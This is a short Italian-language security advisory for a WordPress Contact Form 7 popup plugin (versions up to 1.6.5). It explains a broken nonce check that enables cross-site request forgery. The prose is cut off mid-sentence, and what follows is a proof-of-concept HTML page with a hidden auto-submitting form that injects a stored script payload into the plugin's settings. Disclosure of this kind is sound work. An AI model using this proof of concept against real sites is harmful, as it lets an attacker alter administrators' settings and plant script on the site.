
Popup per CF7 con Sweet Alert <= 1.6.5 - Cross-Site Request Forgery
Popup per CF7 con Sweet Alert <= 1.6.5 - Cross-Site Request Forgery
https://wordpress.org/plugins/cf7-sweet-alert-popup/
Il gestore delle impostazioni del plugin contiene un errore logico nella verifica del nonce che disabilita ogni protezione CSRF. Un attaccante non autenticato può sfruttarlo inducendo un amministratore autenticato a visitare una pagina malevola con un form nascosto che si invia automaticamente, modificando arbitrariamente le impostazioni del plugin. I valori inviati vengono memorizzati senza sanitizzazione e iniettati testualmente in un blocco
<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>
<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
method="POST" id="csrf" target="hiddenframe">
<input name="cf7simplePopupWidth" value="500;alert(document.domain)">
<input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>